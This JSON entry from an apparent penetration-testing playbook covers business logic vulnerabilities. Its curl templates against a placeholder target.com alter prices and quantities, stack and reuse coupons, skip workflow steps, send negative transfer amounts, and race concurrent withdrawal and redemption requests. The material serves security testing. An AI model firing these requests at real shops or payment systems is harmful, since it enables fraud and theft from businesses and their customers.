{
  "slug": "business-logic-testing",
  "title": "Business Logic Vulnerabilities",
  "phase": "Exploitation",
  "description": "Test application workflows for logic flaws — race conditions, price manipulation, coupon abuse, workflow bypass, and state management issues.",
  "difficulty": "high",
  "tags": [
    "exploitation",
    "business-logic",
    "race-condition",
    "workflow",
    "state-management"
  ],
  "tools": [
    "Burp Suite",
    "Turbo Intruder",
    "curl",
    "Python"
  ],
  "steps": [
    {
      "id": "logic-01",
      "title": "Map application workflows and state machines",
      "description": "Document every multi-step process in the application — registration, checkout, payment, approval workflows — and identify the expected state transitions.",
      "commands": [
        "cat proxy-history.json | grep -oiE 'https://target.com/api/(checkout|cart|order|payment|transfer|approval|workflow)[^\"]*' | sort -u",
        "cat proxy-history.json | grep -oiE '\"(status|state|step|stage|phase)\":\\s*\"[^\"]+\"' | sort -u"
      ],
      "notes": "Draw the expected state machine on paper before testing. Identify which transitions should be impossible — going from 'cancelled' back to 'active', or from 'pending' directly to 'completed' without payment."
    },
    {
      "id": "logic-02",
      "title": "Test price and quantity manipulation",
      "description": "Modify price, quantity, discount, and total fields in API requests to test whether the server recalculates and validates these values independently.",
      "commands": [
        "curl -sk -X POST 'https://target.com/api/checkout' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"item_id\": \"1001\", \"price\": 0.01, \"quantity\": 1}'",
        "curl -sk -X POST 'https://target.com/api/cart/add' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"item_id\": \"1001\", \"quantity\": -1}'",
        "curl -sk -X POST 'https://target.com/api/payment/process' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"order_id\": \"12345\", \"amount\": 0.01}'"
      ],
      "notes": "Always test from the final payment endpoint, not just the cart. Some applications validate prices in the cart but trust the client-submitted total at the payment stage."
    },
    {
      "id": "logic-03",
      "title": "Test coupon and discount abuse",
      "description": "Test coupon code functionality for stacking, reuse, race conditions, and manipulation of discount percentages or fixed amounts.",
      "commands": [
        "for i in $(seq 1 5); do curl -sk -X POST 'https://target.com/api/cart/coupon' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"code\": \"SAVE20\"}'; done",
        "curl -sk -X POST 'https://target.com/api/cart/coupon' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"code\": \"SAVE20\"}' && curl -sk -X POST 'https://target.com/api/cart/coupon' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"code\": \"WELCOME10\"}'",
        "curl -sk -X POST 'https://target.com/api/cart/coupon' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"code\": \"SAVE20\", \"discount\": 100}'"
      ],
      "notes": "Try applying coupons after the price has been calculated but before final payment. Test whether expired or already-used coupons are still accepted in race condition scenarios."
    },
    {
      "id": "logic-04",
      "title": "Test workflow step bypass and reordering",
      "description": "Attempt to skip required steps in multi-step processes, access later steps directly, or reorder the sequence of operations.",
      "commands": [
        "curl -sk -X POST 'https://target.com/api/account/verify-complete' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"verified\": true}'",
        "curl -sk -X POST 'https://target.com/api/order/finalize' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"order_id\": \"12345\"}'",
        "curl -sk -X POST 'https://target.com/api/order/apply-discount' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"order_id\": \"12345\", \"discount\": \"50\"}'"
      ],
      "notes": "Test each step in isolation by calling it directly without prior steps. Many applications check only whether the current step's input is valid, not whether the user completed the prerequisite steps."
    },
    {
      "id": "logic-05",
      "title": "Test negative values and boundary conditions",
      "description": "Submit negative numbers, zero values, extreme integers, and floating-point edge cases to test input validation in financial and quantity calculations.",
      "commands": [
        "curl -sk -X POST 'https://target.com/api/transfer' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"to\": \"other_user\", \"amount\": -100}'",
        "curl -sk -X POST 'https://target.com/api/cart/add' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"item_id\": \"1001\", \"quantity\": 2147483647}'",
        "curl -sk -X POST 'https://target.com/api/transfer' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"to\": \"other_user\", \"amount\": 0.000000001}'"
      ],
      "notes": "Negative values in financial transactions can reverse fund flows. Test whether a negative transfer from account A to account B actually moves money from B to A."
    },
    {
      "id": "logic-06",
      "title": "Test race conditions in financial operations",
      "description": "Send concurrent requests to exploit time-of-check-to-time-of-use (TOCTOU) vulnerabilities in balance checks, stock verification, and one-time operations.",
      "commands": [
        "for i in $(seq 1 20); do curl -sk -X POST 'https://target.com/api/withdraw' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"amount\": 100}' & done; wait",
        "for i in $(seq 1 10); do curl -sk -X POST 'https://target.com/api/redeem' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{\"code\": \"ONETIME50\"}' & done; wait"
      ],
      "notes": "Use Turbo Intruder's single-packet attack for precise timing — HTTP/2 allows sending multiple requests in a single TCP packet, eliminating network jitter. Test with amounts that should exceed the available balance."
    }
  ],
  "references": [
    "https://portswigger.net/web-security/logic-flaws",
    "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/",
    "https://portswigger.net/research/smashing-the-state-machine",
    "https://cheatsheetseries.owasp.org/cheatsheets/Transaction_Authorization_Cheat_Sheet.html",
    "https://github.com/PortSwigger/turbo-intruder"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-06-17"
}